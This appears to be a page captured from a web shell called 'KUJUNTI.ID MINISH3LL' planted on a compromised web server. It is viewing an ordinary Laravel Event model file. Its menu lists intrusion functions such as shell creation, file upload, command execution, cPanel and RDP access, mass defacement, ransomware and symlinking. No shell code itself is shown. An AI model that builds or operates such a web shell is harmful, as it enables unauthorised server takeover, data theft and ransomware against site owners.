KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Models/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Models/Event.php


<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Spatie\Translatable\HasTranslations;

class Event extends Model
{
    use HasFactory;
    use HasTranslations;

    public $translatable = ['title','summary','description','venue'];
    
    // protected $dates = ['start_time','end_time'];
    
    protected $fillable = [
        'title',
        'summary',
        'description',
        'date',
        'start_time', 
        'end_time', 
        'venue',
        'contact'
    ];
    
    public function image(){
        return $this->hasOne(Image::class);
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support